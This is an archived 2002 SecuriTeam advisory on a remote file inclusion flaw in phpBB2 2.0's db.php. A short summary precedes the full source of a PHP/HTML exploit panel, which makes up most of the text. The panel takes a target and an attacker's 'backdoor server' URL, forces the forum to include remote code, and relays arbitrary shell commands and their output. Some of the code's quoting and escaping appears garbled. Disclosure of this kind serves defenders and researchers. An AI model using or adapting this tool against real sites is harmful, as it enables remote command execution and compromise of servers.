

[EXPL] phpBB2 Remote Execution Command (db.php)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0091.html>

From: support@securiteam.com

Date: 03/23/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 23 Mar 2002 12:14:22 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

phpBB2 Remote Execution Command (db.php)

SUMMARY

<<http://www.phpbb.com/>> phpBB is a high powered, fully scalable, and highly customizable forums package. phpBB has a user-friendly interface, simply and straight-forward administration panel, and helpful FAQ. A security vulnerability in the product allows attackers to cause it to execute arbitrary code by including an external file (by causing 'include' directive to URL reference a file instead of using the normal directory access).

DETAILS

Vulnerable systems:

phpBB2 version 2.0

Exploit:

```
<?php
  $BUG1 = "/phpBB2/includes/db.php?phpbb_root_path=http://";
  $BUG2 = "%&dbms=mysql&phpEx=txt&cmd=";
  $browser = getenv("HTTP_USER_AGENT");
  $ip = getenv("REMOTE_ADDR");
?>
```

Securiteam: [EXPL] phpBB2 Remote Execution Command (db.php)

```
<html>
<head>
<title>(c) Underground Daemon Crew</title>
</head>
<body bgcolor="#666666">
<div align="center"> <font face="Verdana"> <font size="-1">
  <?php
    echo ($browser);
  ?>
  </font> </font> <br>
  <br>
   <br>
  <font face="Verdana">sLash Da Underground<br>
  nullbyte@darkscape<br>
</font> </div>
<?php
  if (!empty($work_dir)) {
    if (!empty($command)) {
      if (ereg('^[:blank:]*cd[[:blank:]]+([^;]+)$', $command,
$regs)) {
        if ($regs[1][0] == '/') {
          $new_dir = $regs[1];
        } else {
          $new_dir = $work_dir . '/' . $regs[1];
        }
        if (file_exists($new_dir) && is_dir($new_dir)) {
          $work_dir = $new_dir;
        }
        unset($command);
      }
    }
  }

  if (file_exists($work_dir) && is_dir($work_dir)) {
    chdir($work_dir);
    $work_dir = exec("pwd");
  } else {
    chdir($DOCUMENT_ROOT);
    $work_dir = $DOCUMENT_ROOT;
  }
?>
<hr>
<br>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
  <p><font face="Verdana">
    Target :
    <input type="text" name="targetURL" maxlength="80" size="63"
value="<?php echo $targetURL ?>">
    <br>
    Backdoor :
    <input type="text" name="BACKDOOR" size="60" maxlength="78"
```

Securiteam: [EXPL] phpBB2 Remote Execution Command (db.php)

```
value="<?php echo $BACKDOOR ?>">
  <font size="-2"><i><font size="-1">(your backdoor
server)</font></i></font><br>
  Command :
  <input type="text" name="command" size="60">
  <input name="submit_btn" type="submit" value="execute">
  </font> <br>
  <font face="Verdana">Enable <code>stderr</code>-trapping?
  <input type="checkbox" name="stderr">
  <br>
  Current working directory: <b>
  <?php
    $work_dir_splitted = explode("/", substr($work_dir, 1));
    echo "<a href=\"\$PHP_SELF?work_dir=" . urlencode($targetURL) .
"/&command=" . urlencode($command) . "\">Root</a>"/";
    if ($work_dir_splitted[0] == "") {
      $work_dir = "/";
    } else {
      for ($i = 0; $i < count($work_dir_splitted); $i++) {
        $url .= "/" . $work_dir_splitted[$i];
        echo "<a href=\"\$PHP_SELF?work_dir=" .
urlencode($targetURL) . "&command=" . urlencode($command) .
\"">$work_dir_splitted[$i]</a>"/";
      }
    }
  ?>
  </b><br>
  Choose new working directory:
  <select name="work_dir" onChange="this.form.submit()">
  <?php
    $dir_handle = opendir($work_dir);
    while ($dir = readdir($dir_handle)) {
      if (is_dir($dir)) {
        if ($dir == ".") {
          echo "<option value=\"\$work_dir\"
selected>Current Directory</option>\n";
        } elseif ($dir == "..") {
          if (strlen($work_dir) == 1) {
            } elseif (strpos($work_dir, "/")
== 0) {
              echo "<option
value=\"^\^">Parent Directory</option>\n";
            } else {
              echo "<option value=\"\".
strrev(substr(strstr(strrev($work_dir), "/"), 1)) . "\">Parent
Directory</option>\n";
            }
          } else {
            if ($work_dir == "/") {
              echo "<option
value=\"\$work_dir$dir\">$dir</option>\n";
```

Securiteam: [EXPL] phpBB2 Remote Execution Command (db.php)

```
        } else {
            echo "<option
value=\"\$work_dir/\$dir\">\$dir</option>\n";
        }
    }
}
closedir(\$dir_handle);
?>
</select>
<br>
Output:</font><br>
<textarea cols="70" rows="10" readonly>

<?php
if (!empty(\$command)) {
    if (\$stderr) {
        \$command .= " 1> /tmp/output.txt 2>&1; " .
        "cat /tmp/output.txt; rm /tmp/output.txt";
    } else if (\$command == 'ls') {
        \$command .= ' -F';
    }
    /*
    * check point
    */
    \$error_count = 0;
    if(empty(\$targetURL)) {

        echo "You did not fill out the first URL field, please go back and try
again.";
        \$error_count = \$error_count++;
        exit;
    }
    if(empty(\$BACKDOOR)) {
        echo "You did not fill out the second URL field, please go back
and try again.";
        \$error_count = \$error_count++;
        exit;
    }
    /*
    * create a socket
    */
    \$service_port = getservbyname ('www', 'tcp');
    \$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (\$socket < 0) {
        echo "socket_create() failed: reason: " . socket_strerror
(\$socket) . "\n";
    }

    \$result = socket_connect (\$socket, \$targetURL, \$service_port);
    if (\$result < 0) {
```

Securiteam: [EXPL] phpBB2 Remote Execution Command (db.php)

```
        echo "socket_connect() failed.\nReason: ($result) " .
socket_strerror($result) . "\n";
    }
    $in = "GET $BUG1$BACKDOOR$BUG2".urlencode($command)."
HTTP/1.1\nHost: $targetURL:$service_port\n\n";
    $out = "";

    socket_write ($socket, $in, strlen ($in));
    while ($out = socket_read ($socket, 2048)) {
        echo $out;
    }
    socket_close ($socket);
}
?>
```

```
</textarea>
</p>
</form>
```

```
<hr>
<script language="JavaScript" type="text/javascript">
document.forms[0].command.focus();
</script>
<div align="center"><br>
<font face="Verdana" size="-2">Copyright (c) 1996-2002 Underground
Daemon Crew<br>
All Right Reserved 2002 uDc. Redhawk Corporation</font> </div>
</body>
</html>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:nullbyte@inetd-secure.net>
nullbyte.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.

Securiteam: [EXPL] phpBB2 Remote Execution Command (db.php)

- **Previous message:** support@securiteam.com: "[EXPL] Solaris Login Remote Exploit (via telnetd)"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)